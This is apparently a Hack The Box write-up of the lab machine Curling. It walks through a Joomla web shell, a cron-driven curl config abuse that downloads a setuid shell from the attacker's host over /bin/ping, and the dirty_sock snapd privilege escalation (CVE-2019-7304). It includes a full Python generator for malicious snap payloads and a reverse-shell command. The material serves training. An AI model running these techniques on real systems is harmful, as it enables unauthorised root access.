Tags: hack the box, dirty-sock, joomla, curl, go, python
Curling was a relatively simple machine made by L4mpje. This box was exciting for me because I’d never spent time with Joomla before. The concepts around exploiting this particular CMS were similar to that of WordPress, but I didn’t have any practical experience with it. In addition to the intended root method, I also had a blast playing with dirty-sock and writing some tools while doing Curling.
As usual, we start with a masscan
followed by a targeted nmap
. For some reason, masscan
doesn’t play nicely with this target, or vice-versa. To get accurate results from the box, we can’t turn the rate up beyond the default of 100.
masscan -e tun0 --ports U:0-65535,0-65535 -oL masscan.10.10.10.150.all 10.10.10.150
══════════════════════════════════════════════════════════════════════════════════════════════
open tcp 22 10.10.10.150 1553425024
open tcp 80 10.10.10.150 1553425343
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Joomla is written using php, so we’ll add php and html extensions to our gobuster scan.
gobuster -q -e -u http://10.10.10.150 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html
═════════════════════════════════════════════════════════════════════════════════════════════════════════
http://10.10.10.150/administrator (Status: 301)
http://10.10.10.150/bin (Status: 301)
http://10.10.10.150/cache (Status: 301)
http://10.10.10.150/components (Status: 301)
http://10.10.10.150/configuration.php (Status: 200)
http://10.10.10.150/images (Status: 301)
http://10.10.10.150/includes (Status: 301)
http://10.10.10.150/index.php (Status: 200)
http://10.10.10.150/index.php (Status: 200)
http://10.10.10.150/language (Status: 301)
http://10.10.10.150/layouts (Status: 301)
http://10.10.10.150/libraries (Status: 301)
http://10.10.10.150/media (Status: 301)
http://10.10.10.150/modules (Status: 301)
http://10.10.10.150/plugins (Status: 301)
http://10.10.10.150/server-status (Status: 403)
http://10.10.10.150/templates (Status: 301)
http://10.10.10.150/tmp (Status: 301)
The site is a blog about curling. If we view the source of the page, near the bottom, we see a comment secret.txt.
When we browse to http://10.10.10.150/secret.txt, we see a string of characters.
We can use base64 decode the string to find what is almost certainly a password.
echo Q3VybGluZzIwMTgh | base64 -d
═════════════════════════════════
Curling2018!
On the homepage, there is a post signed by Floris.
We can use CVE-2018-15473 to verify Floris as a user on the box. We’ll be using my version of the exploit: cve-2018-15473.
/opt/cve-2018-15473/ssh-username-enum.py -u floris 10.10.10.150
═════════════════════════════════════════════════════════════════════════════════
[+] OpenSSH version 7.6 found
[+] floris found!
We have a username and very likely a password, let’s see where we can use them.
The first hit from gobuster
was http://10.10.10.150/administrator. When we head there, we see a login form.
The credentials floris:Curling2018!
grant us access to the admin panel!
There are a few ways we can get RCE from here; we’ll take a look at customizing a template.
Start by heading to the Templates page in the admin panel.
From there, we click the Templates link on the left menu.
On the resulting page, we choose the template we want to edit. We’ll go with Beez3, but either one is fine.
Within the context of the Beez3 template, we’ll create a new file.
In the modal that pops up, enter a filename, select php as the file extension, and click Create.
In the text editor, let’s add the php code that will allow us to send commands as GET requests. When we’re ready, we can hit Save & Close to save our web shell.
Recall that in our gobuster
scan, we saw http://10.10.10.150/templates. We make a logical assumption that beez3 is a subfolder of templates. Browsing to http://10.10.10.150/templates/beez3 doesn’t error out, so we’re good there. Next, we follow it up with ourshell.php, which also doesn’t error out. We have the location of our web shell, and now it’s time to test it out.
\o/ - access level: www-data
Let’s perform actions in this section with the spirit of the box in mind. We’ll use curl
to interact with our web shell from here on out.
curl -G "http://10.10.10.150/templates/beez3/ourshell.php" --data-urlencode 'epi=find home'
════════════════════════════════════════════════════════════════════════════════════════════
/home
/home/floris
/home/floris/admin-area
/home/floris/.profile
/home/floris/.bash_history
/home/floris/.bash_logout
/home/floris/user.txt
/home/floris/.local
/home/floris/.local/share
/home/floris/password_backup
/home/floris/.cache
/home/floris/.bashrc
/home/floris/.gnupg
curl options used:
-G
make all data specified with --data-urlencode to be used in an HTTP GET request
instead of the default POST request
--data-urlencode
Sends the specified data in a POST request to the HTTP server; additionally
urlencodes the data
Looking at the output, /home/floris/password_backup
certainly sounds interesting. Let’s check it out.
curl -G "http://10.10.10.150/templates/beez3/ourshell.php" --data-urlencode 'epi=cat /home/floris/password_backup'
══════════════════════════════════════════════════════════════════════════════════════════════════════════════════
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H
The file is a hexdump, likely produced by the xxd
utility. To see an example, we can run xxd
against one of the files in our working directory, such as one of the scans.
xxd nmap.10.10.10.150.nmap
══════════════════════════
00000000: 2320 4e6d 6170 2037 2e37 3020 7363 616e # Nmap 7.70 scan
00000010: 2069 6e69 7469 6174 6564 2053 756e 204d initiated Sun M
00000020: 6172 2032 3420 3035 3a32 363a 3432 2032 ar 24 05:26:42 2
00000030: 3031 3920 6173 3a20 6e6d 6170 202d 7020 019 as: nmap -p
00000040: 3232 2c38 3020 2d73 4320 2d73 5620 2d6f 22,80 -sC -sV -o
-------------8<-------------
There is an option in xxd
that allows us to take an existing hexdump and reproduce the original file. Let’s try that on password_backup.
curl -G "http://10.10.10.150/templates/beez3/ourshell.php" --data-urlencode 'epi=cat /home/floris/password_backup' | xxd -r > password_backup
xxd options used:
-r
Reverse operation: convert hexdump into binary.
Now that we have the file locally let’s see what it is.
file password_backup
════════════════════
password_backup: bzip2 compressed data, block size = 900k
Ok, a bzip2
compressed file, simple enough.
bzip2 -d password_backup
════════════════════════
bzip2: Can't guess original name for password_backup -- using password_backup.out
The warning tells us that bzip2
went ahead and named the result of its actions password_backup.out. We’ll do the same thing to the resulting file.
file password_backup.out
════════════════════════
password_backup.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141
The result of uncompressing it the first time was to produce another compressed file. This time around the file was compressed using gzip
. gzip
wants the name of files it decompresses to end with a .gz
extension. Let’s do that first.
mv password_backup.out password_backup.gz
Then we can decompress the file.
gunzip password_backup.gz
Let’s run file
again to see what the next step is.
file password_backup
════════════════════
password_backup: bzip2 compressed data, block size = 900k
While it does seem that we’ve circled back to where we started, a little perseverance pays off.
bzip2 -d password_backup
════════════════════════
bzip2: Can't guess original name for password_backup -- using password_backup.out
Once again, we check the resulting file.
file password_backup.out
════════════════════════
password_backup.out: POSIX tar archive (GNU)
HA! Something different. Let’s untar the archive.
tar xvf password_backup.out
═══════════════════════════
password.txt
Finally, something that looks promising.
cat password.txt
════════════════
5d<wdCbdZu)|hChXll
That certainly looks like a password, let’s check if it works against our known username via ssh.
ssh -l floris 10.10.10.150
floris@10.10.10.150's password: 5d<wdCbdZu)|hChXll
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)
-------------8<-------------
Last login: Mon Mar 25 20:06:48 2019 from 10.10.14.32
floris@curling:~$ id
uid=1000(floris) gid=1004(floris) groups=1004(floris)
floris@curling:~$ cat user.txt
65dd...
\o/ - access level: floris
Looking in floris’s home directory, we see the folder admin-area. We saw this earlier when we found the password_backup file but dismissed it as unimportant until now. Both files have a modified time of either the current time or one minute ago, which is interesting. The watch
command will run any command we specify at two-second intervals. If we run a watch
command on the directory, every minute, the timestamps will update.
watch 'ls -al admin-area'
═════════════════════════
Every 2.0s: ls -al admin-area curling: Tue Mar 26 00:25:39 2019
total 16
drwxr-x--- 2 root floris 4096 May 22 2018 .
drwxr-xr-x 6 floris floris 4096 Mar 26 00:11 ..
-rw-rw---- 1 root floris 25 Mar 26 00:25 input
-rw-rw---- 1 root floris 94 Mar 26 00:25 report
The recurring timestamp updates are a clear indicator that some process is updating these files every minute. There are a few likely candidates for scheduling process execution on Linux systems: cron jobs, at jobs, and systemd timers. Let’s take a minute to investigate each one.
First up, at jobs. We can list our at jobs (and everyone else’s if we’re root) by running atq
. Unfortunately, atq
returns nothing.
atq
Next, we can check systemd timers. The listed timers are unlikely to be what we’re looking for because none have run recently.
systemctl list-timers
═════════════════════
NEXT LEFT LAST PASSED UNIT ACTIVATES
Tue 2019-03-26 01:09:00 UTC 5min left Tue 2019-03-26 00:39:09 UTC 24min ago phpsessionclean.timer phpsessionclean.service
Tue 2019-03-26 06:25:25 UTC 5h 22min left Mon 2019-03-25 19:17:00 UTC 5h 46min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Tue 2019-03-26 08:32:00 UTC 7h left Mon 2019-03-25 19:46:13 UTC 5h 17min ago motd-news.timer motd-news.service
Tue 2019-03-26 17:58:31 UTC 16h left Mon 2019-03-25 19:17:00 UTC 5h 46min ago apt-daily.timer apt-daily.service
Tue 2019-03-26 19:31:52 UTC 18h left Mon 2019-03-25 19:31:52 UTC 5h 31min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Mon 2019-04-01 00:00:00 UTC 5 days left Mon 2019-03-25 19:17:00 UTC 5h 46min ago fstrim.timer fstrim.service
6 timers listed.
Finally, we can check our cron jobs. We can’t check anyone else’s cron jobs unless we’re root, so this also isn’t what we need.
crontab -l
══════════
no crontab for floris
Since we’ve exhausted the likely candidates that we can investigate with our current permissions, we need to swap tactics. We’ll upload and execute the supremely cool tool pspy to figure out what’s going on.
pspy is a command line tool designed to snoop on processes without the need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.
Let’s download pspy
from GitHub.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64
═══════════════════════════════════════════════════════════════════════════
-------------8<-------------
2019-03-25 20:31:57 (2.16 MB/s) - ‘pspy64’ saved [4468984/4468984]
Then scp
it up to the target.
scp pspy64 floris@10.10.10.150:
═══════════════════════════════
floris@10.10.10.150's password: 5d<wdCbdZu)|hChXll
pspy64 100% 4364KB 653.2KB/s 00:06
Back on target, we can run pspy64
. We’ll let it run until we see the time roll over to a new minute. At that point, we should see the entries below come up.
2019/03/26 00:15:01 CMD: UID=0 PID=6137 | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-------------8<-------------
2019/03/26 00:15:01 CMD: UID=0 PID=6134 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
We can now clearly see the commands that are updating the two files in admin-area.
The first line in the output above is a curl
command that loads a configuration file using the -K
option. The configured curl
command writes its results to /home/floris/admin-area/report
via the -o
option.
The second line restores the config file from a known good state.
Both commands run as the root user (UID=0). Effectively, the curl
command runs as root, and we can dictate the options!
Armed with that information, let’s see how to go about exploiting these cron jobs.
If we take a look at curl
’s -K
option, we see that it allows us to specify a text file from which to read curl
arguments. The command line arguments found in the config modify the command as if provided on the command line.
All that’s left for us to do is to choose our exploitation path. We’ll go with my personal favorite in this type of situation. We’ll use curl
to download a small C program that spawns a local shell. We’ll also direct curl
to overwrite a SUID binary with the program we download. The result is a new SUID binary that gives us a root shell. Let’s get started!
Our C program to spawn a shell is pretty simple. The source code is below.
#include <stdlib.h>
#include <unistd.h>
void main() {
setuid(0);
system("/bin/sh -i");
}
On kali, we compile our program.
gcc -o c-shell c-shell.c
With that complete, we can move on to the next step.
Before we change the config, we need to select a SUID binary to overwrite.
find / -perm -4000 2>/dev/null
══════════════════════════════
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/bin/umount
/bin/fusermount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/mount
Any of the above binaries will work. For our purposes, ping
will work fine.
Next, let’s get a small webserver setup to host our c-shell
binary. Normally this is where you’d see python3 -m http.server
. Well, this time we’re switching it up! We’ll write something similar in Go that will accomplish the same thing (albeit without the logging).
First our Golang program, which we’ll save as go-serve.go
.
1package main
2
3import (
4 "fmt"
5 "net/http"
6 "os"
7)
8
9func main() {
10 port := "8000"
11
12 if len(os.Args) == 2 {
13 port = os.Args[1]
14 } else if len(os.Args) > 2 {
15 fmt.Printf("Usage: %s [PORT]\n", os.Args[1])
16 }
17
18 cwd, _ := os.Getwd()
19 http.Handle("/", http.FileServer(http.Dir(".")))
20
21 fmt.Printf("Serving files from %s on port %s\n", cwd, port)
22 http.ListenAndServe(":" + port, nil)
23
24}
Next, we’ll compile our program.
go build go-serve.go
The location of the resulting binary is our current working directory. We’ll set it up to listen on port 80 (8000 is the default).
./go-serve 80
═════════════
Serving files from /root/htb/curling on port 80
Now, to perform our attack, we need to know how to specify an output file in the configuration. Luckily the man page provides an example.
# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
# and fetch another URL too
url = "example.com/docs/manpage.html"
-O
referer = "http://nowhereatall.example.com/"
# --- End of example file ---
What we need just so happens to be the first two lines in the example. Let’s modify the config file with our changes.
url = "http://10.10.14.16/c-shell"
output = "/bin/ping"
After saving the new configuration, we wait a minute, then run ping
.
When I want to wait a small amount of time like this, I’ll use sleep 60
or whatever the time to wait is, in seconds. Once my command prompt returns, the wait is over
ping
════
floris@curling:~$ ping
# id
uid=0(root) gid=1004(floris) groups=1004(floris)
# cat /root/root.txt
82c1...
\o/ - root access - method one
For our second method of rooting Curling, we’ll take a look at the dirty-sock exploit. Let’s get started!
Snap is installed by default on newer Ubuntu systems and seems to be experiencing a decent adoption rate. Snap packages are made up of software and required dependencies. These packages are single binaries bundled for distribution. The Snap Documentation says the following about Snaps:
Snaps are app packages for desktop, cloud, and IoT that are easy to install, secure, cross-platform and dependency-free.
dirty-sock takes advantage of a vulnerability in the Snap ecosystem; let’s discuss how.
Chris Moberly (@init_string) discovered that snapd in versions 2.28 through 2.37 incorrectly validated and parsed the remote socket address when performing access controls on its UNIX socket (CVE-2019-7304). He has an incredibly detailed write-up located here.
The snapd service exposes a REST API on a unix socket. When a client connects to the API, the server checks the client’s access level by determining the permissions of the process accessing the API. This permissions check is what snapd uses to decide whether or not a client has access to sensitive API endpoints.
In the normal course of events, the API receives a connection. The snapd service then examines the remote address of the connection and generates a string similar to the following based on the information gathered from the remote connection:
"pid=5127;uid=1000;socket=/run/snapd.socket;@"
Snapd processes the string that was built by one function again in a separate function. During execution of the other function, the string above is split into pieces using the ;
character as the delimiter. The result is an array of strings:
["pid=5127" "uid=1000" "socket=/run/snapd.socket" "@"]
Once the string is split into pieces, the function iterates over each string looking for one that starts with uid=
. Once it finds such a string, the numeric value following the equals sign is stripped out and stored in a variable named uid
for use later on. In our example string, 1000
would become the value of the variable uid
.
@init_string found that a crafted client socket name used to connect to the API could result in more than one string beginning with uid=. Consider the following socket filename as the remote address to be parsed.
/tmp/sock;uid=0;
When the socket’s filename contains an additional ;uid=0;
, it results in snapd internally generating a string that looks like this:
"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"
After execution flows from generating the string to breaking it up into an array, the array looks like this:
["pid=5275" "uid=1000" "socket=/run/snapd.socket" "/tmp/sock" "uid=0"]
When snapd iterates over this array, it assigns the value 1000
to the variable uid
and continues to loop. When it sees another string that begins with uid=
, it re-assigns the value of 0
to the variable uid
.
Snapd uses the uid value of 0 when determining whether or not we can access protected API functions. That’s the vulnerability and exploit in a nutshell.
Weaponizing the flaw discussed above uses a protected API function named /v2/snaps to sideload an empty Snap.
Here is what dirty_sockv2.py
does (taken directly from @init_script’s blog post):
The Snap is empty and therefore doesn’t do anything by itself. However, it registers a hook that executes during installation. The install hook is a shell script and, when running in devmode, executes in the context of root. dirty_sockv2.py uses the install hook to do the following:
dirty_sock
with a password of dirty_sock
sudo
group/etc/sudoers
Once the script successfully executes, a simple su
to dirty_sock followed by a sudo -i
is sufficient for a root shell. Here’s an example run on Curling where dirty_sockv2.py has already been uploaded to target and named .ds.py
.
floris@curling:~/.local/share$ python3 .ds.py
___ _ ____ ___ _ _ ____ ____ ____ _ _
| \ | |__/ | \_/ [__ | | | |_/
|__/ | | \ | | ___ ___] |__| |___ | \_
(version 2)
//=========[]==========================================\\
|| R&D || initstring (@init_string) ||
|| Source || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock ||
\\=========[]==========================================//
[+] Slipped dirty sock on random socket file: /tmp/dcexzpdrbr;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...
********************
Success! You can now `su` to the following account and use sudo:
username: dirty_sock
password: dirty_sock
********************
floris@curling:~/.local/share$ su dirty_sock
Password: dirty_sock
dirty_sock@curling:/home/floris/.local/share$ sudo -i
[sudo] password for dirty_sock:
root@curling:~# id
uid=0(root) gid=1004(floris) groups=1004(floris)
\o/ - root access - method two
Using dirty_sockv2.py is undoubtedly cool, especially now that we know how it works. Now, let’s see about using the same technique to execute a custom payload instead of adding a root user.
To create our Snap with an install hook to use with dirty_sockv2.py, we need to perform the following steps:
Because doing it by hand is effective, yet dull, we’ll automate the process using python! We’ll take a look at each step’s manual commands and the corresponding python function. Afterward, we’ll check out the script in its entirety and a demo run.
I performed these steps on my host machine because I was not able to build a Snap project inside my kali VM.
The following manual commands will initialize a Snap project.
mkdir -p /tmp/dirty_snap/hooks
cd /tmp/dirty_snap
snapcraft init
touch ./snap/hooks/install
chmod a+x ./snap/hooks/install
And here is the implementation (as part of a larger class) in python.
1def initialize_project(self):
2 """ Create the necessary directory structure for the malicious Snap package. """
3
4 cwd = Path.cwd() # store original cwd
5 os.chdir(self.project_path) # /tmp/dirty_snap or similar
6
7 try:
8 subprocess.run(['snapcraft', 'init'], check=True, stdout=subprocess.PIPE)
9 except subprocess.CalledProcessError as e:
10 print("snapcraft init failed unexpectedly; exiting")
11 print(e)
12 raise SystemExit
13
14 hookdir = self.project_path / 'snap' / 'hooks'
15 hookdir.mkdir(parents=True, exist_ok=True) # create project scaffolding
16
17 self.install_script = hookdir / 'install'
18 self.install_script.touch() # create the 'install hook' file where our payload will go
19
20 self.install_script.chmod(0o755) # install hook must be executable
21
22 os.chdir(str(cwd)) # return to original cwd
This step is relatively simple; we insert into the install hook the desired commands to be run. Recall that the install hook is nothing more than a shell script.
First, the manual way using dirty_sockv2.py’s commands as an example.
cat > snap/hooks/install << "EOF"
#!/bin/bash
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF
Followed by the corresponding python. In the code below, there are two possibilities for accepting a payload. One is a command received as part of a command line option. The other takes in a pre-existing shell script and uses that as the install hook directly.
1def generate_hook(self):
2 """ Insert the payload into PROJECTDIR/snap/hooks/install. """
3
4 if self.command:
5 self.install_script.write_text(f'#!/bin/bash\n\n{self.command}\n')
6 elif self.file:
7 script = Path(self.file).read_bytes()
8 self.install_script.write_bytes(script)
For this section, we’re using yaml to describe our Snap. Like before, we’ll examine the steps taken by @init_string first.
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1'
summary: Empty snap, used for exploit
description: |
See https://github.com/initstring/dirty_sock
grade: devel
confinement: devmode
parts:
my-part:
plugin: nil
EOF
And here’s the corresponding function. The default yaml file is incredibly close to what’s used by @init_string, so we only modify the name of the Snap.
Please note that this step isn’t strictly necessary, it’s done to minimize issues with having two exploit attempts of the same name. The install hook only runs on install. It will not run on a reload or refresh. Trying to exploit a second time, with a loaded Snap of the same name, won’t execute the install hook.
1def update_name(self):
2 """ Update Snap package name in PROJECTDIR/snap/snapcraft.yaml. """
3
4 yaml = Path(self.project_path) / 'snap' / 'snapcraft.yaml'
5
6 contents = yaml.read_text()
7 contents = contents.replace('my-snap-name', self.name)
8
9 yaml.write_text(contents)
All of the setup steps are complete at this point, and now we need to create the Snap. The command below needs to run in the root of the project directory.
snapcraft
The python takes it a bit further by capturing the name of the newly created Snap.
1def build_snap(self):
2 """ Build the Snap package. """
3
4 cwd = Path.cwd()
5 os.chdir(self.project_path)
6
7 try:
8 cmd = subprocess.run(['snapcraft'], check=True, stdout=subprocess.PIPE)
9 except subprocess.CalledProcessError as e:
10 print("Package build via snapcraft command failed unexpectedly; exiting")
11 print(e)
12 raise SystemExit
13
14 # example line for regex
15 # Snapped other-dirty-sockr9cwz4ri_0.1_amd64.snap
16 match = re.search(r'Snapped (?P<snapname>.*?.snap$)', cmd.stdout.decode())
17
18 if match:
19 self.snap = self.project_path / match.group('snapname')
20 else:
21 print('Snap package name not found; exiting')
22 raise SystemExit
23
24 os.chdir(str(cwd))
This is the final section in which we can compare manual steps and python. We need to base64 encode the newly created Snap before it can be sent to the API because it is a Squashfs filesystem file.
base64 <snap-filename.snap>
A simple call to b64encode handles the python side of things.
1def encode_snap(self):
2 """ Encode the resulting Snap package for use in dirty-sockv2.py """
3
4 self.payload = base64.b64encode(self.snap.read_bytes()).decode()
The manual process involves inserting the base64 blob into dirty_sockv2.py. Specifically, the TROJAN_SNAP
variable needs to be updated.
When writing the payload generator, it seemed presumptuous to rewrite the original dirty_sockv2.py completely. Instead, we’ll create a modified dirty_sockv2.py that replaces the hardcoded base64 encoded blob and Snap name. The modified script is what we’ll upload to target for exploitation.
1def create_modified_script(self):
2 """ Modify dirty_sockv2.py to use the specified package name. """
3
4 modified = Path('modified-dirty_sockv2.py')
5 contents = Path('dirty_sockv2.py').read_text()
6
7 contents = contents.replace('["dirty-sock"]', f'["{self.name}"]') # replace package name
8
9 section_start = section_end = False
10
11 # all we're doing here is removing the hardcoded base64 blob and putting our own in
12 with open(modified, 'w') as f:
13 for line in contents.splitlines():
14 if "For full details, read the blog linked on the github page above" in line:
15 # line before TROJAN_SNAP
16 section_start = True
17 elif 'def check_args()' in line:
18 # line after TROJAN_SNAP
19 section_end = True
20
21 if section_end:
22 # done removing old snap, enter ours
23 f.write(f"TROJAN_SNAP = '{self.payload}'\n\n{line}\n")
24 section_end = section_start = False # both set to False so we fall through to the else clause
25 elif section_start:
26 # remove old snap
27 f.write('')
28 else:
29 # keep the rest as-is
30 f.write(f'{line}\n')
Now that we’ve covered the major moving parts, here’s the complete script. It’s also located at my repo: htb-scripts-for-retired-boxes.
Usage boils down to one of two methods. Either generate a Snap that executes a simple command via the -c
option or create a bash script that contains whatever commands we want to execute, then pass it as an argument to -f
.
There are some limitations to what commands can be run. Snap packages execute in what amounts to a chroot. They have a restricted view of the host OS’s filesystem. There are a few locations it can still write to, but by and large, they can’t manipulate the host filesystem. That fact is important when deciding what command we want to execute.
For instance, cat /root/root.txt > /tmp/flag
will create the flag file in the Snap’s filesystem, not in the host’s /tmp folder.
1import os
2import re
3import base64
4import tempfile
5import argparse
6import subprocess
7
8from pathlib import Path
9
10
11class SnapPayload:
12 def __init__(self, name, command, file, project_path):
13 self.snap = None
14 self.name = name
15 self.file = file
16 self.payload = None
17 self.command = command
18 self.install_script = None
19 self.project_path = Path(project_path)
20
21 @staticmethod
22 def snapcraft_exists():
23 """ Determine whether snapcraft is installed or not; sanity check. """
24
25 try:
26 subprocess.run(['snapcraft', 'version'], check=True, stdout=subprocess.PIPE)
27 except FileNotFoundError as e:
28 print("snapcraft not installed")
29 print('run: sudo apt install snapcraft -y')
30 return print('then run this script again')
31 except subprocess.CalledProcessError as e:
32 print("snapcraft check failed, check your snapcraft install")
33 return print(e)
34
35 return True
36
37 def initialize_project(self):
38 """ Create the necessary directory structure for the malicious Snap package. """
39
40 print(f'[+] Creating project directory structure @ {self.project_path}')
41
42 cwd = Path.cwd() # store original cwd
43 os.chdir(self.project_path)
44
45 try:
46 subprocess.run(['snapcraft', 'init'], check=True, stdout=subprocess.PIPE)
47 except subprocess.CalledProcessError as e:
48 print("snapcraft init failed unexpectedly; exiting")
49 print(e)
50 raise SystemExit
51
52 hookdir = self.project_path / 'snap' / 'hooks'
53 hookdir.mkdir(parents=True, exist_ok=True) # create project scaffolding
54
55 self.install_script = hookdir / 'install'
56 self.install_script.touch() # create the file where our payload will go
57
58 self.install_script.chmod(0o755) # payload file must be executable
59
60 os.chdir(str(cwd)) # return to original cwd
61
62 def generate_hook(self):
63 """ Insert the payload into PROJECTDIR/snap/hooks/install. """
64
65 print(f'[+] Installing payload @ {self.install_script}')
66
67 if self.command:
68 self.install_script.write_text(f'#!/bin/bash\n\n{self.command}\n')
69 elif self.file:
70 script = Path(self.file).read_bytes()
71 self.install_script.write_bytes(script)
72
73 def update_name(self):
74 """ Update Snap package name in PROJECTDIR/snap/snapcraft.yaml. """
75
76 print(f'[+] Naming Snap: {self.name}')
77
78 yaml = Path(self.project_path) / 'snap' / 'snapcraft.yaml'
79
80 contents = yaml.read_text()
81 contents = contents.replace('my-snap-name', self.name)
82
83 yaml.write_text(contents)
84
85 def build_snap(self):
86 """ Build the Snap package. """
87
88 cwd = Path.cwd()
89 os.chdir(self.project_path)
90
91 try:
92 cmd = subprocess.run(['snapcraft'], check=True, stdout=subprocess.PIPE)
93 except subprocess.CalledProcessError as e:
94 print("Package build via snapcraft command failed unexpectedly; exiting")
95 print(e)
96 raise SystemExit
97
98 # example line for regex
99 # Snapped other-dirty-sockr9cwz4ri_0.1_amd64.snap
100 match = re.search(r'Snapped (?P<snapname>.*?.snap$)', cmd.stdout.decode())
101
102 if match:
103 self.snap = self.project_path / match.group('snapname')
104 else:
105 print('Snap package name not found; exiting')
106 raise SystemExit
107
108 print(f'[+] Built Snap: {self.snap}')
109
110 os.chdir(str(cwd))
111
112 def encode_snap(self):
113 """ Encode the resulting Snap package for use in dirty-sockv2.py """
114
115 self.payload = base64.b64encode(self.snap.read_bytes()).decode()
116
117 def create_modified_script(self):
118 """ Modify dirty_sockv2.py to use the specified package name. """
119
120 modified = Path('modified-dirty_sockv2.py')
121 contents = Path('dirty_sockv2.py').read_text()
122
123 contents = contents.replace('["dirty-sock"]', f'["{self.name}"]') # replace package name
124
125 section_start = section_end = False
126
127 # all we're doing here is removing the hardcoded base64 blob and putting our own in
128 with open(modified, 'w') as f:
129 for line in contents.splitlines():
130 if "For full details, read the blog linked on the github page above" in line:
131 # line before TROJAN_SNAP
132 section_start = True
133 elif 'def check_args()' in line:
134 # line after TROJAN_SNAP
135 section_end = True
136
137 if section_end:
138 # done removing old snap, enter ours
139 f.write(f"TROJAN_SNAP = '{self.payload}'\n\n{line}\n")
140 section_end = section_start = False # both set to False so we fall through to the else clause
141 elif section_start:
142 # remove old snap
143 f.write('')
144 else:
145 # keep the rest as-is
146 f.write(f'{line}\n')
147
148 print('[+] modified-dirty_sockv2.py complete!')
149
150if __name__ == '__main__':
151 parser = argparse.ArgumentParser()
152 parser.add_argument('-n', '--name', help='name of malicious snap package')
153
154 cmd_or_file = parser.add_mutually_exclusive_group()
155 cmd_or_file.add_argument('-c', '--command', help='the command to be run')
156 cmd_or_file.add_argument('-f', '--file', help='script to be run; expects an entire bash script')
157
158 args = parser.parse_args()
159
160 if not SnapPayload.snapcraft_exists():
161 raise SystemExit
162
163 if not Path('dirty_sockv2.py').exists():
164 print("dirty_sockv2.py not found, please place a copy in your current directory.")
165 raise SystemExit
166
167 project = tempfile.mkdtemp(prefix='other-dirty-sock')
168
169 if not args.name:
170 # generate unique project name if not provided
171 # /tmp/other-dirty-sockw9g1t5p5 -> other-dirty-sockw9g1t5p5
172 args.name = Path(project).stem
173
174 payload = SnapPayload(name=args.name, command=args.command, file=args.file, project_path=project)
175
176 payload.initialize_project()
177 payload.generate_hook()
178 payload.update_name()
179 payload.build_snap()
180 payload.encode_snap()
181 payload.create_modified_script()
In this example, we’ll start by creating a bash script that contains a python reverse shell command.
First, ShellPop to get our payload.
shellpop --payload linux/reverse/tcp/python --host 10.10.14.16 --port 12345
═══════════════════════════════════════════════════════════════════════════
[+] Execute this code in remote target:
